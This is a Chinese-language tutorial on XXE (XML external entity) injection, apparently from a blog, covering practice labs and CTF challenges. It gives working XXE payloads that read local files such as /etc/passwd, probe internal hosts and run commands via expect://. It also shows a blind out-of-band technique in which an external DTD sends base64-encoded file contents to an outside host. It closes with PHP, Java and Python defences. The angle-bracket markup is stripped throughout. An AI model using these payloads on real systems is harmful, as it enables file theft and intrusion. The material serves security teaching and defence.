余姚网站设计平台,制造企业网站建设,织梦网站主页,网页设计基础考试题库及答案目录 涉及案例pikachu靶场xml数据传输测试-回显、玩法、协议、引入玩法-读文件玩法-内网探针或攻击内网应用(触发漏洞地址)玩法-RCE引入外部实体dtd无回显-读取文件协议-读文件#xff08;绕过#xff09;xxe-lab靶场登陆框xml数据传输测试-检测发现CTF-Jarvis-OJ-Web-XXE安全… 目录 涉及案例pikachu靶场xml数据传输测试-回显、玩法、协议、引入玩法-读文件玩法-内网探针或攻击内网应用(触发漏洞地址)玩法-RCE引入外部实体dtd无回显-读取文件协议-读文件绕过xxe-lab靶场登陆框xml数据传输测试-检测发现CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战xxe漏洞修复与防御方案-phpjavapython-过滤及禁用 文章分享https://www.cnblogs.com/zhengna/p/15740341.html XML被设计为传输和存储数据XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素其焦点是数据的内容其把数据从HTML分离是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞XXE漏洞发生在应用程序解析XML输入时没有禁止外部实体的加载导致可加载恶意外部文件造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。危害有点类似于ssrf漏洞的危害
XML与HTML的主要差异 XML 被设计为传输和存储数据其焦点是数据的内容。 HTML 被设计用来显示数据其焦点是数据的外观。 HTML 旨在显示信息而 XML 旨在传输信息。
!--XML声明--
?xml version1.0?
!--文档类型定义--
!DOCTYPE note [ !--定义此文档是 note 类型的文档--
!ELEMENT note (to,from,heading,body) !--定义note元素有四个元素--
!ELEMENT to (#PCDATA) !--定义to元素为”#PCDATA”类型--
!ELEMENT from (#PCDATA) !--定义from元素为”#PCDATA”类型--
!ELEMENT head (#PCDATA) !--定义head元素为”#PCDATA”类型--
!ELEMENT body (#PCDATA) !--定义body元素为”#PCDATA类型--
]]]
!--文档元素--
note
toDave/to
fromTom/from
headReminder/head
bodyYou are a good man/body
/note#DTD 文档类型定义(DTD)可定义合法的XML文档构建模块 它使用一系列合法的元素来定义文档的结构 DTD可被成行地声明于 XML 文档中也可作为一个外部引用 (1)内部的 DOCTYPE声明
(2)外部文档声明
#DTD实体 (1)内部实体声明 !ENTITY 实体名称 实体的值
(2)外部实体声明 !ENTITY 实体名称 SYSTEM URI
(3)参数实体声明 !ENTITY %实体名称 实体的值 !ENTITY %实体名称 SYSTEM URI
涉及案例
pikachu靶场xml数据传输测试-回显、玩法、协议、引入 玩法-读文件
?xml version 1.0?
!DOCTYPE ANY [!ENTITY xxe SYSTEM file:///d://test.txt
]
xxxe;/x玩法-内网探针或攻击内网应用(触发漏洞地址)
?xml version1.0 encodingUTF-8?
!DOCTYPE foo {
!ELEMENT foo ANY
!ENTITY rabbit SYSTEM http://192.168.0.103:8081/index.txt]
xrabbit;/x玩法-RCE
该CASE是在安装expect扩展的PHP环境里执行系统命令
?xml version 1.0?
!DOCTYPE ANY [!ENTITY xxe SYSTEM expect://id
]
xxxe;/x实战情况下这种情况很难碰到不能去执行命令
引入外部实体dtd
?xml version1.0 ?
!DOCTYPE test [!ENTITY % file SYSTEM http://127.0.0.1:8081/evil2.dtd%file;
]
xsend;/x
evil2.dtd:
!ENTITY send SYSTEM file:///d:/test.txt对方允许外部实体那么它就可以去调用远程的实体去执行相关的攻击代码这种类似于我们在讲文件包含的时候本地包含远程包含的一个概念这种引用外部实体dtd文件其实就类似于远程包含漏洞的原理 自定义的攻击代码为了绕过一些远程防御的代码因为对方有检测有防御软件的话他会去跟踪用户行为发现你正在对这个文件进行读取他会拦截或者在代码中分析到有关键的协议名或者是观念的东西可能会有拦截这种时候就把你的核心代码放在上面这个payload远程去请求并执行核心代码 应用场景在于绕过和进行自定义攻击要攻击的时候改dtd文件就可以了
无回显-读取文件
?xml version1.0?
!DOCTYPE test [
!ENTITY %file SYSTEM php://filter/readconvert.base64-encode/resourced:/test.txt
!ENTITY %dtd SYSTEM http://192.168.0.103:8081/test.dtd
%dtd;
%send;
]test.dtd:
!ENTITY % payload!ENTITY #x25; send SYSTEM http://192.168.0.103:8081/?data%file;%payload;没有回显我们就不知道你读的内容那这个攻击就没有什么意义了 file变量读取指定内容读到之后会复制给file执行dtd里面的代码
协议-读文件绕过
?xml version 1.0?
!DOCTYPE ANY [ !ENTITY f SYSTEM php://filter/readconvert.base64-encode/resourcexxe.php
]
xf;/x网上有很多字典关于xxe攻击的payload
xxe-lab靶场登陆框xml数据传输测试-检测发现
1.提交的数据包含XML格式如: admin 2.请求头中如:
Content-Type: text/xml或Content-type:application/xml?xml version1.0?
!DOCTYPE Mikasa [
!ENTITY test SYSTEM file:///d:/test.txt
]
userusernametest;/usernamepasswordMikasa/password
/userxxe扫描工具网上也有但是效果我没有尝试
主要是通过爬行的数据包用BP抓包并且在bp上面有爬行数据包的功能我们可以让bp帮我们爬取整个网站把地址请求都爬一遍爬完之后可以在每个数据包里面进行批量搜索搜索Content-Type值的判断如果在这个数值里面发现有text/xml或者application/xml表示后面接上的数据都是xml的格式语言的数据传递这个时候是符合xml语言的接收这个时候就能够进行尝试漏洞 根据传输数据的格式这个格式的写法就是典型的xml语言代码的写法 盲猜没有并不代表接收他可能在代码当中是正常显示只是说这个数据包没有正常显示这个时候你就能够去尝试更改类型更改为text/xml或着application/xml其中的一种再把攻击语句写到数据那里实现对它测试有没有xxe漏洞这就是根据人工方法去测试有没有漏洞是否存在的常规操作 对网站进行爬取 这种写法就是典型的xml写法他是符合测试xxe漏洞存在的这个时候我们对它进行攻击直接把payload复制上去就可以了 找到符合漏洞存在的数据包我们在提交数据这里提交自身的payload进行攻击 他这种提交数据给到上面之后他的数据传输形式采用的是json的形式提交的这种就是盲猜了猜你有没有我们直接修改Content-Type类型因为数据包你不修改这个类型的话传输数据的时候这个写法就不识别了
CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
http://web.jarvisoj.com:9882/ 更改请求数据格式application/xml
?xml version 1.0?
!DOCTYPE ANY [!ENTITY f SYSTEM file:///etc/passwd
]
xf;/x把数据格式换成payload的格式之前讲的方法是先判断他符不符合xml的格式符合我们在确定他有没有这个漏洞所以这两个概念是不一样的 更改数据包来实现xxe漏洞的盲猜
xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
XXEinjector使用方法https://www.cnblogs.com/bmjoker/p/9614990.html XXEinjector检测工具https://github.com/enjoiz/XXEinjector https://www.cnblogs.com/bmjokex/p/9614990.html xxe_payload_fuzz 从发现目标地址到目标的资产收集对目标的资产信息进行攻击找到对应的漏洞来实现一步步的操作
CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
扫描IP及端口-扫描探针目录-抓包探针xxe安全-利用xxe读取源码-flag指向文件-base32 64解套-php运行-flag
?xml version1.0 ?
!DOCTYPE r [
!ELEMENT Y ANY
!ENTITY sp SYSTEM php://filter/readconvert.base64-encode/resourceadmin.php
]
rootnamesp;/namepasswordhj/password/root靶机综合难度来说还是有一些的他不会像发现漏洞、利用漏洞就完了他中间会给你绕一下
xxe漏洞修复与防御方案-phpjavapython-过滤及禁用
#方案1-禁用外部实体 PHP: libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbfDocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python: from Ixml import etreexmlData etree.parse(xmlsource,etree,XMLParser(resolve _entitiesFalse))
#方案2-过滤用户提的XML数据 过滤关键词!DOCTYPE和!ENTITY或者SYSTEM和PUBLIC
XXE漏洞产生的根本原因就是网站有接收xml数据xml其实就是语言网站有接收xml的数据但是它没有进行过滤所以我们可以让他接收xml的一些代码这个代码就是执行文件读取这个操作的他其实从我们讲的注入里面json注入反序列化都是一种数据的格式问题